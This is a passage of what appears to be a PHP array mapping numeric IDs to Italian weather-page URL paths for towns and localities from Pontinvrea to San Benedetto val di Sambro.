\"/meteo/Pontinvrea\",5424 => \"/meteo/Pontirolo+nuovo\",5425 => \"/meteo/Pontoglio\",5426 => \"/meteo/Pontremoli\",5428 => \"/meteo/Ponza\",5429 => \"/meteo/Ponzano+di+fermo\",8462 => \"/meteo/Ponzano+galleria\",5430 => \"/meteo/Ponzano+monferrato\",5431 => \"/meteo/Ponzano+romano\",5432 => \"/meteo/Ponzano+veneto\",5433 => \"/meteo/Ponzone\",5434 => \"/meteo/Popoli\",5435 => \"/meteo/Poppi\",8192 => \"/meteo/Populonia\",5436 => \"/meteo/Porano\",5437 => \"/meteo/Porcari\",5438 => \"/meteo/Porcia\",5439 => \"/meteo/Pordenone\",5440 => \"/meteo/Porlezza\",5441 => \"/meteo/Pornassio\",5442 => \"/meteo/Porpetto\",5443 => \"/meteo/Porretta+terme\",5444 => \"/meteo/Portacomaro\",5445 => \"/meteo/Portalbera\",5446 => \"/meteo/Porte\",5447 => \"/meteo/Portici\",5448 => \"/meteo/Portico+di+caserta\",5449 => \"/meteo/Portico+e+san+benedetto\",5450 => \"/meteo/Portigliola\",8294 => \"/meteo/Porto+Alabe\",5451 => \"/meteo/Porto+azzurro\",5452 => \"/meteo/Porto+ceresio\",8528 => \"/meteo/Porto+Cervo\",5453 => \"/meteo/Porto+cesareo\",8295 => \"/meteo/Porto+Conte\",8612 => \"/meteo/Porto+Corsini\",5454 => \"/meteo/Porto+empedocle\",8669 => \"/meteo/Porto+Ercole\",8743 => \"/meteo/Porto+Levante\",5455 => \"/meteo/Porto+mantovano\",8178 => \"/meteo/Porto+Pino\",5456 => \"/meteo/Porto+recanati\",8529 => \"/meteo/Porto+Rotondo\",5457 => \"/meteo/Porto+san+giorgio\",5458 => \"/meteo/Porto+sant'elpidio\",8670 => \"/meteo/Porto+Santo+Stefano\",5459 => \"/meteo/Porto+tolle\",5460 => \"/meteo/Porto+torres\",5461 => \"/meteo/Porto+valtravaglia\",5462 => \"/meteo/Porto+viro\",8172 => \"/meteo/Portobello+di+Gallura\",5463 => \"/meteo/Portobuffole'\",5464 => \"/meteo/Portocannone\",5465 => \"/meteo/Portoferraio\",5466 => \"/meteo/Portofino\",5467 => \"/meteo/Portogruaro\",5468 => \"/meteo/Portomaggiore\",5469 => \"/meteo/Portopalo+di+capo+passero\",8171 => \"/meteo/Portorotondo\",5470 => \"/meteo/Portoscuso\",5471 => \"/meteo/Portovenere\",5472 => \"/meteo/Portula\",5473 => \"/meteo/Posada\",5474 => \"/meteo/Posina\",5475 => \"/meteo/Positano\",5476 => \"/meteo/Possagno\",5477 => \"/meteo/Posta\",5478 => \"/meteo/Posta+fibreno\",5479 => \"/meteo/Postal\",5480 => \"/meteo/Postalesio\",5481 => \"/meteo/Postiglione\",5482 => \"/meteo/Postua\",5483 => \"/meteo/Potenza\",5484 => \"/meteo/Potenza+picena\",5485 => \"/meteo/Pove+del+grappa\",5486 => \"/meteo/Povegliano\",5487 => \"/meteo/Povegliano+veronese\",5488 => \"/meteo/Poviglio\",5489 => \"/meteo/Povoletto\",5490 => \"/meteo/Pozza+di+fassa\",5491 => \"/meteo/Pozzaglia+sabino\",5492 => \"/meteo/Pozzaglio+ed+uniti\",5493 => \"/meteo/Pozzallo\",5494 => \"/meteo/Pozzilli\",5495 => \"/meteo/Pozzo+d'adda\",5496 => \"/meteo/Pozzol+groppo\",5497 => \"/meteo/Pozzolengo\",5498 => \"/meteo/Pozzoleone\",5499 => \"/meteo/Pozzolo+formigaro\",5500 => \"/meteo/Pozzomaggiore\",5501 => \"/meteo/Pozzonovo\",5502 => \"/meteo/Pozzuoli\",5503 => \"/meteo/Pozzuolo+del+friuli\",5504 => \"/meteo/Pozzuolo+martesana\",8693 => \"/meteo/Pra+Catinat\",5505 => \"/meteo/Pradalunga\",5506 => \"/meteo/Pradamano\",5507 => \"/meteo/Pradleves\",5508 => \"/meteo/Pragelato\",5509 => \"/meteo/Praia+a+mare\",5510 => \"/meteo/Praiano\",5511 => \"/meteo/Pralboino\",5512 => \"/meteo/Prali\",5513 => \"/meteo/Pralormo\",5514 => \"/meteo/Pralungo\",5515 => \"/meteo/Pramaggiore\",5516 => \"/meteo/Pramollo\",5517 => \"/meteo/Prarolo\",5518 => \"/meteo/Prarostino\",5519 => \"/meteo/Prasco\",5520 => \"/meteo/Prascorsano\",5521 => \"/meteo/Praso\",5522 => \"/meteo/Prata+camportaccio\",5523 => \"/meteo/Prata+d'ansidonia\",5524 => \"/meteo/Prata+di+pordenone\",5525 => \"/meteo/Prata+di+principato+ultra\",5526 => \"/meteo/Prata+sannita\",5527 => \"/meteo/Pratella\",8102 => \"/meteo/Prati+di+Tivo\",8694 => \"/meteo/Pratica+di+Mare\",5528 => \"/meteo/Pratiglione\",5529 => \"/meteo/Prato\",5530 => \"/meteo/Prato+allo+Stelvio\",5531 => \"/meteo/Prato+carnico\",8157 => \"/meteo/Prato+Nevoso\",5532 => \"/meteo/Prato+sesia\",8560 => \"/meteo/Prato+Spilla\",5533 => \"/meteo/Pratola+peligna\",5534 => \"/meteo/Pratola+serra\",5535 => \"/meteo/Pratovecchio\",5536 => \"/meteo/Pravisdomini\",5537 => \"/meteo/Pray\",5538 => \"/meteo/Prazzo\",5539 => \"/meteo/Pre'+Saint+Didier\",5540 => \"/meteo/Precenicco\",5541 => \"/meteo/Preci\",5542 => \"/meteo/Predappio\",5543 => \"/meteo/Predazzo\",5544 => \"/meteo/Predoi\",5545 => \"/meteo/Predore\",5546 => \"/meteo/Predosa\",5547 => \"/meteo/Preganziol\",5548 => \"/meteo/Pregnana+milanese\",5549 => \"/meteo/Prela'\",5550 => \"/meteo/Premana\",5551 => \"/meteo/Premariacco\",5552 => \"/meteo/Premeno\",5553 => \"/meteo/Premia\",5554 => \"/meteo/Premilcuore\",5555 => \"/meteo/Premolo\",5556 => \"/meteo/Premosello+chiovenda\",5557 => \"/meteo/Preone\",5558 => \"/meteo/Preore\",5559 => \"/meteo/Prepotto\",8578 => \"/meteo/Presanella\",5560 => \"/meteo/Preseglie\",5561 => \"/meteo/Presenzano\",5562 => \"/meteo/Presezzo\",5563 => \"/meteo/Presicce\",5564 => \"/meteo/Pressana\",5565 => \"/meteo/Prestine\",5566 => \"/meteo/Pretoro\",5567 => \"/meteo/Prevalle\",5568 => \"/meteo/Prezza\",5569 => \"/meteo/Prezzo\",5570 => \"/meteo/Priero\",5571 => \"/meteo/Prignano+cilento\",5572 => \"/meteo/Prignano+sulla+secchia\",5573 => \"/meteo/Primaluna\",5574 => \"/meteo/Priocca\",5575 => \"/meteo/Priola\",5576 => \"/meteo/Priolo+gargallo\",5577 => \"/meteo/Priverno\",5578 => \"/meteo/Prizzi\",5579 => \"/meteo/Proceno\",5580 => \"/meteo/Procida\",5581 => \"/meteo/Propata\",5582 => \"/meteo/Proserpio\",5583 => \"/meteo/Prossedi\",5584 => \"/meteo/Provaglio+d'iseo\",5585 => \"/meteo/Provaglio+val+sabbia\",5586 => \"/meteo/Proves\",5587 => \"/meteo/Provvidenti\",8189 => \"/meteo/Prunetta\",5588 => \"/meteo/Prunetto\",5589 => \"/meteo/Puegnago+sul+garda\",5590 => \"/meteo/Puglianello\",5591 => \"/meteo/Pula\",5592 => \"/meteo/Pulfero\",5593 => \"/meteo/Pulsano\",5594 => \"/meteo/Pumenengo\",8584 => \"/meteo/Punta+Ala\",8708 => \"/meteo/Punta+Ban\",8564 => \"/meteo/Punta+Helbronner\",8306 => \"/meteo/Punta+Indren\",8107 => \"/meteo/Punta+Stilo\",5595 => \"/meteo/Puos+d'alpago\",5596 => \"/meteo/Pusiano\",5597 => \"/meteo/Putifigari\",5598 => \"/meteo/Putignano\",5599 => \"/meteo/Quadrelle\",5600 => \"/meteo/Quadri\",5601 => \"/meteo/Quagliuzzo\",5602 => \"/meteo/Qualiano\",5603 => \"/meteo/Quaranti\",5604 => \"/meteo/Quaregna\",5605 => \"/meteo/Quargnento\",5606 => \"/meteo/Quarna+sopra\",5607 => \"/meteo/Quarna+sotto\",5608 => \"/meteo/Quarona\",5609 => \"/meteo/Quarrata\",5610 => \"/meteo/Quart\",5611 => \"/meteo/Quarto\",5612 => \"/meteo/Quarto+d'altino\",5613 => \"/meteo/Quartu+sant'elena\",5614 => \"/meteo/Quartucciu\",5615 => \"/meteo/Quassolo\",5616 => \"/meteo/Quattordio\",5617 => \"/meteo/Quattro+castella\",5618 => \"/meteo/Quero\",5619 => \"/meteo/Quiliano\",5620 => \"/meteo/Quincinetto\",5621 => \"/meteo/Quindici\",5622 => \"/meteo/Quingentole\",5623 => \"/meteo/Quintano\",5624 => \"/meteo/Quinto+di+treviso\",5625 => \"/meteo/Quinto+vercellese\",5626 => \"/meteo/Quinto+vicentino\",5627 => \"/meteo/Quinzano+d'oglio\",5628 => \"/meteo/Quistello\",5629 => \"/meteo/Quittengo\",5630 => \"/meteo/Rabbi\",5631 => \"/meteo/Racale\",5632 => \"/meteo/Racalmuto\",5633 => \"/meteo/Racconigi\",5634 => \"/meteo/Raccuja\",5635 => \"/meteo/Racines\",8352 => \"/meteo/Racines+Giovo\",5636 => \"/meteo/Radda+in+chianti\",5637 => \"/meteo/Raddusa\",5638 => \"/meteo/Radicofani\",5639 => \"/meteo/Radicondoli\",5640 => \"/meteo/Raffadali\",5641 => \"/meteo/Ragalna\",5642 => \"/meteo/Ragogna\",5643 => \"/meteo/Ragoli\",5644 => \"/meteo/Ragusa\",5645 => \"/meteo/Raiano\",5646 => \"/meteo/Ramacca\",5647 => \"/meteo/Ramiseto\",5648 => \"/meteo/Ramponio+verna\",5649 => \"/meteo/Rancio+valcuvia\",5650 => \"/meteo/Ranco\",5651 => \"/meteo/Randazzo\",5652 => \"/meteo/Ranica\",5653 => \"/meteo/Ranzanico\",5654 => \"/meteo/Ranzo\",5655 => \"/meteo/Rapagnano\",5656 => \"/meteo/Rapallo\",5657 => \"/meteo/Rapino\",5658 => \"/meteo/Rapolano+terme\",8394 => \"/meteo/Rapolla\",5660 => \"/meteo/Rapone\",5661 => \"/meteo/Rassa\",5662 => \"/meteo/Rasun+Anterselva\",5663 => \"/meteo/Rasura\",5664 => \"/meteo/Ravanusa\",5665 => \"/meteo/Ravarino\",5666 => \"/meteo/Ravascletto\",5667 => \"/meteo/Ravello\",5668 => \"/meteo/Ravenna\",5669 => \"/meteo/Raveo\",5670 => \"/meteo/Raviscanina\",5671 => \"/meteo/Re\",5672 => \"/meteo/Rea\",5673 => \"/meteo/Realmonte\",5674 => \"/meteo/Reana+del+roiale\",5675 => \"/meteo/Reano\",5676 => \"/meteo/Recale\",5677 => \"/meteo/Recanati\",5678 => \"/meteo/Recco\",5679 => \"/meteo/Recetto\",8639 => \"/meteo/Recoaro+Mille\",5680 => \"/meteo/Recoaro+Terme\",5681 => \"/meteo/Redavalle\",5682 => \"/meteo/Redondesco\",5683 => \"/meteo/Refrancore\",5684 => \"/meteo/Refrontolo\",5685 => \"/meteo/Regalbuto\",5686 => \"/meteo/Reggello\",8542 => \"/meteo/Reggio+Aeroporto+dello+Stretto\",5687 => \"/meteo/Reggio+Calabria\",5688 => \"/meteo/Reggio+Emilia\",5689 => \"/meteo/Reggiolo\",5690 => \"/meteo/Reino\",5691 => \"/meteo/Reitano\",5692 => \"/meteo/Remanzacco\",5693 => \"/meteo/Remedello\",5694 => \"/meteo/Renate\",5695 => \"/meteo/Rende\",5696 => \"/meteo/Renon\",5697 => \"/meteo/Resana\",5698 => \"/meteo/Rescaldina\",8734 => \"/meteo/Resegone\",5699 => \"/meteo/Resia\",5700 => \"/meteo/Resiutta\",5701 => \"/meteo/Resuttano\",5702 => \"/meteo/Retorbido\",5703 => \"/meteo/Revello\",5704 => \"/meteo/Revere\",5705 => \"/meteo/Revigliasco+d'asti\",5706 => \"/meteo/Revine+lago\",5707 => \"/meteo/Revo'\",5708 => \"/meteo/Rezzago\",5709 => \"/meteo/Rezzato\",5710 => \"/meteo/Rezzo\",5711 => \"/meteo/Rezzoaglio\",5712 => \"/meteo/Rhemes+Notre+Dame\",5713 => \"/meteo/Rhemes+Saint+Georges\",5714 => \"/meteo/Rho\",5715 => \"/meteo/Riace\",8106 => \"/meteo/Riace+Marina\",5716 => \"/meteo/Rialto\",5717 => \"/meteo/Riano\",5718 => \"/meteo/Riardo\",5719 => \"/meteo/Ribera\",5720 => \"/meteo/Ribordone\",5721 => \"/meteo/Ricadi\",5722 => \"/meteo/Ricaldone\",5723 => \"/meteo/Riccia\",5724 => \"/meteo/Riccione\",5725 => \"/meteo/Ricco'+del+golfo+di+spezia\",5726 => \"/meteo/Ricengo\",5727 => \"/meteo/Ricigliano\",5728 => \"/meteo/Riese+pio+x\",5729 => \"/meteo/Riesi\",5730 => \"/meteo/Rieti\",5731 => \"/meteo/Rifiano\",5732 => \"/meteo/Rifreddo\",8691 => \"/meteo/Rifugio+Boffalora+Ticino\",8244 => \"/meteo/Rifugio+Calvi+Laghi+Gemelli\",8684 => \"/meteo/Rifugio+Chivasso+-+Colle+del+Nivolet\",8678 => \"/meteo/Rifugio+Curò\",8679 => \"/meteo/Rifugio+laghi+Gemelli\",8731 => \"/meteo/Rifugio+Livio+Bianco\",8681 => \"/meteo/Rifugio+Mezzalama\",8682 => \"/meteo/Rifugio+Quintino+Sella\",8629 => \"/meteo/Rifugio+Sapienza\",8683 => \"/meteo/Rifugio+Torino\",8680 => \"/meteo/Rifugio+Viviani\",5733 => \"/meteo/Rignano+flaminio\",5734 => \"/meteo/Rignano+garganico\",5735 => \"/meteo/Rignano+sull'arno\",5736 => \"/meteo/Rigolato\",5737 => \"/meteo/Rima+san+giuseppe\",5738 => \"/meteo/Rimasco\",5739 => \"/meteo/Rimella\",5740 => \"/meteo/Rimini\",8546 => \"/meteo/Rimini+Miramare\",5741 => \"/meteo/Rio+di+Pusteria\",5742 => \"/meteo/Rio+marina\",5743 => \"/meteo/Rio+nell'elba\",5744 => \"/meteo/Rio+saliceto\",5745 => \"/meteo/Riofreddo\",5746 => \"/meteo/Riola+sardo\",5747 => \"/meteo/Riolo+terme\",5748 => \"/meteo/Riolunato\",5749 => \"/meteo/Riomaggiore\",5750 => \"/meteo/Rionero+in+vulture\",5751 => \"/meteo/Rionero+sannitico\",8503 => \"/meteo/Rioveggio\",5752 => \"/meteo/Ripa+teatina\",5753 => \"/meteo/Ripabottoni\",8404 => \"/meteo/Ripacandida\",5755 => \"/meteo/Ripalimosani\",5756 => \"/meteo/Ripalta+arpina\",5757 => \"/meteo/Ripalta+cremasca\",5758 => \"/meteo/Ripalta+guerina\",5759 => \"/meteo/Riparbella\",5760 => \"/meteo/Ripatransone\",5761 => \"/meteo/Ripe\",5762 => \"/meteo/Ripe+san+ginesio\",5763 => \"/meteo/Ripi\",5764 => \"/meteo/Riposto\",5765 => \"/meteo/Rittana\",5766 => \"/meteo/Riva+del+garda\",5767 => \"/meteo/Riva+di+solto\",8579 => \"/meteo/Riva+di+Tures\",5768 => \"/meteo/Riva+ligure\",5769 => \"/meteo/Riva+presso+chieri\",5770 => \"/meteo/Riva+valdobbia\",5771 => \"/meteo/Rivalba\",5772 => \"/meteo/Rivalta+bormida\",5773 => \"/meteo/Rivalta+di+torino\",5774 => \"/meteo/Rivamonte+agordino\",5775 => \"/meteo/Rivanazzano\",5776 => \"/meteo/Rivara\",5777 => \"/meteo/Rivarolo+canavese\",5778 => \"/meteo/Rivarolo+del+re+ed+uniti\",5779 => \"/meteo/Rivarolo+mantovano\",5780 => \"/meteo/Rivarone\",5781 => \"/meteo/Rivarossa\",5782 => \"/meteo/Rive\",5783 => \"/meteo/Rive+d'arcano\",8398 => \"/meteo/Rivello\",5785 => \"/meteo/Rivergaro\",5786 => \"/meteo/Rivignano\",5787 => \"/meteo/Rivisondoli\",5788 => \"/meteo/Rivodutri\",5789 => \"/meteo/Rivoli\",8436 => \"/meteo/Rivoli+veronese\",5791 => \"/meteo/Rivolta+d'adda\",5792 => \"/meteo/Rizziconi\",5793 => \"/meteo/Ro\",5794 => \"/meteo/Roana\",5795 => \"/meteo/Roaschia\",5796 => \"/meteo/Roascio\",5797 => \"/meteo/Roasio\",5798 => \"/meteo/Roatto\",5799 => \"/meteo/Robassomero\",5800 => \"/meteo/Robbiate\",5801 => \"/meteo/Robbio\",5802 => \"/meteo/Robecchetto+con+Induno\",5803 => \"/meteo/Robecco+d'oglio\",5804 => \"/meteo/Robecco+pavese\",5805 => \"/meteo/Robecco+sul+naviglio\",5806 => \"/meteo/Robella\",5807 => \"/meteo/Robilante\",5808 => \"/meteo/Roburent\",5809 => \"/meteo/Rocca+canavese\",5810 => \"/meteo/Rocca+Canterano\",5811 => \"/meteo/Rocca+Ciglie'\",5812 => \"/meteo/Rocca+d'Arazzo\",5813 => \"/meteo/Rocca+d'Arce\",5814 => \"/meteo/Rocca+d'Evandro\",5815 => \"/meteo/Rocca+de'+Baldi\",5816 => \"/meteo/Rocca+de'+Giorgi\",5817 => \"/meteo/Rocca+di+Botte\",5818 => \"/meteo/Rocca+di+Cambio\",5819 => \"/meteo/Rocca+di+Cave\",5820 => \"/meteo/Rocca+di+Mezzo\",5821 => \"/meteo/Rocca+di+Neto\",5822 => \"/meteo/Rocca+di+Papa\",5823 => \"/meteo/Rocca+Grimalda\",5824 => \"/meteo/Rocca+Imperiale\",8115 => \"/meteo/Rocca+Imperiale+Marina\",5825 => \"/meteo/Rocca+Massima\",5826 => \"/meteo/Rocca+Pia\",5827 => \"/meteo/Rocca+Pietore\",5828 => \"/meteo/Rocca+Priora\",5829 => \"/meteo/Rocca+San+Casciano\",5830 => \"/meteo/Rocca+San+Felice\",5831 => \"/meteo/Rocca+San+Giovanni\",5832 => \"/meteo/Rocca+Santa+Maria\",5833 => \"/meteo/Rocca+Santo+Stefano\",5834 => \"/meteo/Rocca+Sinibalda\",5835 => \"/meteo/Rocca+Susella\",5836 => \"/meteo/Roccabascerana\",5837 => \"/meteo/Roccabernarda\",5838 => \"/meteo/Roccabianca\",5839 => \"/meteo/Roccabruna\",8535 => \"/meteo/Roccacaramanico\",5840 => \"/meteo/Roccacasale\",5841 => \"/meteo/Roccadaspide\",5842 => \"/meteo/Roccafiorita\",5843 => \"/meteo/Roccafluvione\",5844 => \"/meteo/Roccaforte+del+greco\",5845 => \"/meteo/Roccaforte+ligure\",5846 => \"/meteo/Roccaforte+mondovi'\",5847 => \"/meteo/Roccaforzata\",5848 => \"/meteo/Roccafranca\",5849 => \"/meteo/Roccagiovine\",5850 => \"/meteo/Roccagloriosa\",5851 => \"/meteo/Roccagorga\",5852 => \"/meteo/Roccalbegna\",5853 => \"/meteo/Roccalumera\",5854 => \"/meteo/Roccamandolfi\",5855 => \"/meteo/Roccamena\",5856 => \"/meteo/Roccamonfina\",5857 => \"/meteo/Roccamontepiano\",5858 => \"/meteo/Roccamorice\",8418 => \"/meteo/Roccanova\",5860 => \"/meteo/Roccantica\",5861 => \"/meteo/Roccapalumba\",5862 => \"/meteo/Roccapiemonte\",5863 => \"/meteo/Roccarainola\",5864 => \"/meteo/Roccaraso\",5865 => \"/meteo/Roccaromana\",5866 => \"/meteo/Roccascalegna\",5867 => \"/meteo/Roccasecca\",5868 => \"/meteo/Roccasecca+dei+volsci\",5869 => \"/meteo/Roccasicura\",5870 => \"/meteo/Roccasparvera\",5871 => \"/meteo/Roccaspinalveti\",5872 => \"/meteo/Roccastrada\",5873 => \"/meteo/Roccavaldina\",5874 => \"/meteo/Roccaverano\",5875 => \"/meteo/Roccavignale\",5876 => \"/meteo/Roccavione\",5877 => \"/meteo/Roccavivara\",5878 => \"/meteo/Roccella+ionica\",5879 => \"/meteo/Roccella+valdemone\",5880 => \"/meteo/Rocchetta+a+volturno\",5881 => \"/meteo/Rocchetta+belbo\",5882 => \"/meteo/Rocchetta+di+vara\",5883 => \"/meteo/Rocchetta+e+croce\",5884 => \"/meteo/Rocchetta+ligure\",5885 => \"/meteo/Rocchetta+nervina\",5886 => \"/meteo/Rocchetta+palafea\",5887 => \"/meteo/Rocchetta+sant'antonio\",5888 => \"/meteo/Rocchetta+tanaro\",5889 => \"/meteo/Rodano\",5890 => \"/meteo/Roddi\",5891 => \"/meteo/Roddino\",5892 => \"/meteo/Rodello\",5893 => \"/meteo/Rodengo\",5894 => \"/meteo/Rodengo-saiano\",5895 => \"/meteo/Rodero\",5896 => \"/meteo/Rodi+garganico\",5897 => \"/meteo/Rodi'+milici\",5898 => \"/meteo/Rodigo\",5899 => \"/meteo/Roe'+volciano\",5900 => \"/meteo/Rofrano\",5901 => \"/meteo/Rogeno\",5902 => \"/meteo/Roggiano+gravina\",5903 => \"/meteo/Roghudi\",5904 => \"/meteo/Rogliano\",5905 => \"/meteo/Rognano\",5906 => \"/meteo/Rogno\",5907 => \"/meteo/Rogolo\",5908 => \"/meteo/Roiate\",5909 => \"/meteo/Roio+del+sangro\",5910 => \"/meteo/Roisan\",5911 => \"/meteo/Roletto\",5912 => \"/meteo/Rolo\",5913 => \"/meteo/Roma\",8545 => \"/meteo/Roma+Ciampino\",8499 => \"/meteo/Roma+Fiumicino\",5914 => \"/meteo/Romagnano+al+monte\",5915 => \"/meteo/Romagnano+sesia\",5916 => \"/meteo/Romagnese\",5917 => \"/meteo/Romallo\",5918 => \"/meteo/Romana\",5919 => \"/meteo/Romanengo\",5920 => \"/meteo/Romano+canavese\",5921 => \"/meteo/Romano+d'ezzelino\",5922 => \"/meteo/Romano+di+lombardia\",5923 => \"/meteo/Romans+d'isonzo\",5924 => \"/meteo/Rombiolo\",5925 => \"/meteo/Romeno\",5926 => \"/meteo/Romentino\",5927 => \"/meteo/Rometta\",5928 => \"/meteo/Ronago\",5929 => \"/meteo/Ronca'\",5930 => \"/meteo/Roncade\",5931 => \"/meteo/Roncadelle\",5932 => \"/meteo/Roncaro\",5933 => \"/meteo/Roncegno\",5934 => \"/meteo/Roncello\",5935 => \"/meteo/Ronchi+dei+legionari\",5936 => \"/meteo/Ronchi+valsugana\",5937 => \"/meteo/Ronchis\",5938 => \"/meteo/Ronciglione\",5939 => \"/meteo/Ronco+all'adige\",8231 => \"/meteo/Ronco+all`Adige\",5940 => \"/meteo/Ronco+biellese\",5941 => \"/meteo/Ronco+briantino\",5942 => \"/meteo/Ronco+canavese\",5943 => \"/meteo/Ronco+scrivia\",5944 => \"/meteo/Roncobello\",5945 => \"/meteo/Roncoferraro\",5946 => \"/meteo/Roncofreddo\",5947 => \"/meteo/Roncola\",5948 => \"/meteo/Roncone\",5949 => \"/meteo/Rondanina\",5950 => \"/meteo/Rondissone\",5951 => \"/meteo/Ronsecco\",5952 => \"/meteo/Ronzo+chienis\",5953 => \"/meteo/Ronzone\",5954 => \"/meteo/Roppolo\",5955 => \"/meteo/Rora'\",5956 => \"/meteo/Rosa'\",5957 => \"/meteo/Rosarno\",5958 => \"/meteo/Rosasco\",5959 => \"/meteo/Rosate\",5960 => \"/meteo/Rosazza\",5961 => \"/meteo/Rosciano\",5962 => \"/meteo/Roscigno\",5963 => \"/meteo/Rose\",5964 => \"/meteo/Rosello\",5965 => \"/meteo/Roseto+capo+spulico\",8439 => \"/meteo/Roseto+casello\",5966 => \"/meteo/Roseto+degli+abruzzi\",5967 => \"/meteo/Roseto+valfortore\",5968 => \"/meteo/Rosignano+marittimo\",5969 => \"/meteo/Rosignano+monferrato\",8195 => \"/meteo/Rosignano+Solvay\",5970 => \"/meteo/Rosolina\",8744 => \"/meteo/Rosolina+mare\",5971 => \"/meteo/Rosolini\",8704 => \"/meteo/Rosone\",5972 => \"/meteo/Rosora\",5973 => \"/meteo/Rossa\",5974 => \"/meteo/Rossana\",5975 => \"/meteo/Rossano\",8109 => \"/meteo/Rossano+Calabro+Marina\",5976 => \"/meteo/Rossano+veneto\",8431 => \"/meteo/Rossera\",5977 => \"/meteo/Rossiglione\",5978 => \"/meteo/Rosta\",5979 => \"/meteo/Rota+d'imagna\",5980 => \"/meteo/Rota+greca\",5981 => \"/meteo/Rotella\",5982 => \"/meteo/Rotello\",8429 => \"/meteo/Rotonda\",5984 => \"/meteo/Rotondella\",5985 => \"/meteo/Rotondi\",5986 => \"/meteo/Rottofreno\",5987 => \"/meteo/Rotzo\",5988 => \"/meteo/Roure\",5989 => \"/meteo/Rovagnate\",5990 => \"/meteo/Rovasenda\",5991 => \"/meteo/Rovato\",5992 => \"/meteo/Rovegno\",5993 => \"/meteo/Rovellasca\",5994 => \"/meteo/Rovello+porro\",5995 => \"/meteo/Roverbella\",5996 => \"/meteo/Roverchiara\",5997 => \"/meteo/Rovere'+della+luna\",5998 => \"/meteo/Rovere'+veronese\",5999 => \"/meteo/Roveredo+di+gua'\",6000 => \"/meteo/Roveredo+in+piano\",6001 => \"/meteo/Rovereto\",6002 => \"/meteo/Rovescala\",6003 => \"/meteo/Rovetta\",6004 => \"/meteo/Roviano\",6005 => \"/meteo/Rovigo\",6006 => \"/meteo/Rovito\",6007 => \"/meteo/Rovolon\",6008 => \"/meteo/Rozzano\",6009 => \"/meteo/Rubano\",6010 => \"/meteo/Rubiana\",6011 => \"/meteo/Rubiera\",8632 => \"/meteo/Rucas\",6012 => \"/meteo/Ruda\",6013 => \"/meteo/Rudiano\",6014 => \"/meteo/Rueglio\",6015 => \"/meteo/Ruffano\",6016 => \"/meteo/Ruffia\",6017 => \"/meteo/Ruffre'\",6018 => \"/meteo/Rufina\",6019 => \"/meteo/Ruinas\",6020 => \"/meteo/Ruino\",6021 => \"/meteo/Rumo\",8366 => \"/meteo/Ruoti\",6023 => \"/meteo/Russi\",6024 => \"/meteo/Rutigliano\",6025 => \"/meteo/Rutino\",6026 => \"/meteo/Ruviano\",8393 => \"/meteo/Ruvo+del+monte\",6028 => \"/meteo/Ruvo+di+Puglia\",6029 => \"/meteo/Sabaudia\",6030 => \"/meteo/Sabbia\",6031 => \"/meteo/Sabbio+chiese\",6032 => \"/meteo/Sabbioneta\",6033 => \"/meteo/Sacco\",6034 => \"/meteo/Saccolongo\",6035 => \"/meteo/Sacile\",8700 => \"/meteo/Sacra+di+San+Michele\",6036 => \"/meteo/Sacrofano\",6037 => \"/meteo/Sadali\",6038 => \"/meteo/Sagama\",6039 => \"/meteo/Sagliano+micca\",6040 => \"/meteo/Sagrado\",6041 => \"/meteo/Sagron+mis\",8602 => \"/meteo/Saint+Barthelemy\",6042 => \"/meteo/Saint+Christophe\",6043 => \"/meteo/Saint+Denis\",8304 => \"/meteo/Saint+Jacques\",6044 => \"/meteo/Saint+Marcel\",6045 => \"/meteo/Saint+Nicolas\",6046 => \"/meteo/Saint+Oyen+Flassin\",6047 => \"/meteo/Saint+Pierre\",6048 => \"/meteo/Saint+Rhemy+en+Bosses\",6049 => \"/meteo/Saint+Vincent\",6050 => \"/meteo/Sala+Baganza\",6051 => \"/meteo/Sala+Biellese\",6052 => \"/meteo/Sala+Bolognese\",6053 => \"/meteo/Sala+Comacina\",6054 => \"/meteo/Sala+Consilina\",6055 => \"/meteo/Sala+Monferrato\",8372 => \"/meteo/Salandra\",6057 => \"/meteo/Salaparuta\",6058 => \"/meteo/Salara\",6059 => \"/meteo/Salasco\",6060 => \"/meteo/Salassa\",6061 => \"/meteo/Salbertrand\",6062 => \"/meteo/Salcedo\",6063 => \"/meteo/Salcito\",6064 => \"/meteo/Sale\",6065 => \"/meteo/Sale+delle+Langhe\",6066 => \"/meteo/Sale+Marasino\",6067 => \"/meteo/Sale+San+Giovanni\",6068 => \"/meteo/Salemi\",6069 => \"/meteo/Salento\",6070 => \"/meteo/Salerano+Canavese\",6071 => \"/meteo/Salerano+sul+Lambro\",6072 => \"/meteo/Salerno\",6073 => \"/meteo/Saletto\",6074 => \"/meteo/Salgareda\",6075 => \"/meteo/Sali+Vercellese\",6076 => \"/meteo/Salice+Salentino\",6077 => \"/meteo/Saliceto\",6078 => \"/meteo/Salisano\",6079 => \"/meteo/Salizzole\",6080 => \"/meteo/Salle\",6081 => \"/meteo/Salmour\",6082 => \"/meteo/Salo'\",6083 => \"/meteo/Salorno\",6084 => \"/meteo/Salsomaggiore+Terme\",6085 => \"/meteo/Saltara\",6086 => \"/meteo/Saltrio\",6087 => \"/meteo/Saludecio\",6088 => \"/meteo/Saluggia\",6089 => \"/meteo/Salussola\",6090 => \"/meteo/Saluzzo\",6091 => \"/meteo/Salve\",6092 => \"/meteo/Salvirola\",6093 => \"/meteo/Salvitelle\",6094 => \"/meteo/Salza+di+Pinerolo\",6095 => \"/meteo/Salza+Irpina\",6096 => \"/meteo/Salzano\",6097 => \"/meteo/Samarate\",6098 => \"/meteo/Samassi\",6099 => \"/meteo/Samatzai\",6100 => \"/meteo/Sambuca+di+Sicilia\",6101 => \"/meteo/Sambuca+Pistoiese\",6102 => \"/meteo/Sambuci\",6103 => \"/meteo/Sambuco\",6104 => \"/meteo/Sammichele+di+Bari\",6105 => \"/meteo/Samo\",6106 => \"/meteo/Samolaco\",6107 => \"/meteo/Samone\",6108 => \"/meteo/Samone\",6109 => \"/meteo/Sampeyre\",6110 => \"/meteo/Samugheo\",6111 => \"/meteo/San+Bartolomeo+al+Mare\",6112 => \"/meteo/San+Bartolomeo+in+Galdo\",6113 => \"/meteo/San+Bartolomeo+Val+Cavargna\",6114 => \"/meteo/San+Basile\",6115 => \"/meteo/San+Basilio\",6116 => \"/meteo/San+Bassano\",6117 => \"/meteo/San+Bellino\",6118 => \"/meteo/San+Benedetto+Belbo\",6119 => \"/meteo/San+Benedetto+dei+Marsi\",6120 => \"/meteo/San+Benedetto+del+Tronto\",8126 => \"/meteo/San+Benedetto+in+Alpe\",6121 => \"/meteo/San+Benedetto+in+Perillis\",6122 => \"/meteo/San+Benedetto+Po\",6123 => \"/meteo/San+Benedetto+Ullano\",6124 => \"/meteo/San+Benedetto+val+di+Sambro\",6125 => 